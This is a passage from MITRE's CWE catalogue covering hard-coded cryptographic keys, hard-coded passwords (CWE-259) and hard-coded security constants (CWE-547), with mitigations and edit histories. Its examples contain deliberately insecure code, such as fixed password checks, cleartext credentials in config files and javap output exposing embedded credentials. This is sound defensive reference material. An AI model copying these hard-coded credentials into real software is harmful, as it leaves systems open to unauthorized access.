+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.719OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.720OWASP Top Ten 2007 Category A9 - Insecure Communications
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.729OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.950SFP Secondary Cluster: Hardcoded Sensitive Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUse of hard-coded cryptographic key
OWASP Top Ten 2007A8CWE More SpecificInsecure Cryptographic Storage
OWASP Top Ten 2007A9CWE More SpecificInsecure Communications
OWASP Top Ten 2004A8CWE More SpecificInsecure Storage
Software Fault PatternsSFP33Hardcoded sensitive data
ISA/IEC 62443Part 2-4Req SP.03.10 RE(1)
ISA/IEC 62443Part 2-4Req SP.03.10 RE(3)
ISA/IEC 62443Part 3-3Req SR 1.5
ISA/IEC 62443Part 3-3Req SR 4.3
ISA/IEC 62443Part 4-1Req SD-1
ISA/IEC 62443Part 4-2Req SR 4.3
ISA/IEC 62443Part 4-2Req CR 7.3
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2023-01-24
(CWE 4.10, 2023-01-31)
"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-09-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Maintenance_Notes, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Taxonomy_Mappings

CWE-259: Use of Hard-coded Password

Weakness ID: 259
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.
+ Extended Description

A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the product contains an authentication mechanism that checks for a hard-coded password.
Outbound: the product connects to another system or component, and it contains hard-coded password for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the product will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.321Use of Hard-coded Cryptographic Key
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.257Storing Passwords in a Recoverable Format
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.656Reliance on Security Through Obscurity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.798Use of Hard-coded Credentials
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in question.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following code uses a hard-coded password to connect to a database:

(bad code)
Example Language: Java 
...
DriverManager.getConnection(url, "scott", "tiger");
...

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

(attack code)
 
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger

Example 2

The following code is an example of an internal hard-coded password in the back-end:

(bad code)
Example Language:
int VerifyAdmin(char *password) {
if (strcmp(password, "Mew!")) {
printf("Incorrect Password!\n");
return(0)
}
printf("Entering Diagnostic Mode...\n");
return(1);
}
(bad code)
Example Language: Java 
int VerifyAdmin(String password) {
if (!password.equals("Mew!")) {
return(0)
}
//Diagnostic Mode
return(1);
}

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

(bad code)
Example Language: Java 

# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

(bad code)
Example Language: ASP.NET 
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Example 4

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used hard-coded credentials in their OT products.

+ Observed Examples
ReferenceDescription
Distributed Control System (DCS) has hard-coded passwords for local shell access
Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288]
Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
+ Potential Mitigations

Phase: Architecture and Design

For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.

Phase: Architecture and Design

For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password.

Phase: Architecture and Design

Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example, a feature might only be enabled through the system console instead of through a network connection.

Phase: Architecture and Design

For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When receiving an incoming password during authentication, take the hash of the password and compare it to the hash that you have saved.

Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete.

The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.
Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.
Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.861The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.950SFP Secondary Cluster: Hardcoded Sensitive Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1152SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This entry could be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. More importantly, from a vulnerability theory perspective, they could be characterized as different behaviors.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPassword Management: Hard-Coded Password
CLASPUse of hard-coded password
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
The CERT Oracle Secure Coding Standard for Java (2011)MSC03-JNever hard code sensitive information
Software Fault PatternsSFP33Hardcoded sensitive data
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1288] Julia Lokrantz. "Ethical hacking of a Smart Automatic Feed Dispenser". 2021-06-07. <http://kth.diva-portal.org/smash/get/diva2:1561552/FULLTEXT01.pdf>.
[REF-1304] ICS-CERT. "ICS Alert (ICS-ALERT-13-164-01): Medical Devices Hard-Coded Passwords". 2013-06-13. <https://www.cisa.gov/news-events/ics-alerts/ics-alert-13-164-01>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description, Potential_Mitigations
2008-11-13CWE Content TeamMITRE
Significant description modifications to emphasize different variants.
2008-11-24CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Maintenance_Notes, Other_Notes, Potential_Mitigations
2009-01-12CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Maintenance_Notes, Potential_Mitigations, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns, White_Box_Definitions
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Detection_Factors, Name, Potential_Mitigations, Relationships
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms
2010-06-21CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2010-09-27CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Potential_Mitigations, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Demonstrative_Examples
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples, Maintenance_Notes
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Hard-Coded Password

CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID: 547
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.
+ Extended Description
If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1078Inappropriate Source Code Style or Formatting
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1006Bad Coding Practices
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context; Quality Degradation

The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.
+ Demonstrative Examples

Example 1

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

(bad code)
Example Language:
char buffer[1024];
...
fgets(buffer, 1024, stdin);

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurrences, in this example it could lead to a buffer overflow.

(good code)
Example Language:
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

+ Potential Mitigations

Phase: Implementation

Avoid using hard-coded constants. Configuration files offer a more flexible solution.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.736CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.950SFP Secondary Cluster: Hardcoded Sensitive Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingDCL06-CUse meaningful symbolic constants to represent literal values in program logic
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Description, Potential_Mitigations, Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Type
2023-06-29CWE Content TeamMITRE
updated Demonstrative_Examples, Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Security-relevant Constants

CWE-198: Use of Incorrect Byte Ordering

Weakness ID: 198
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
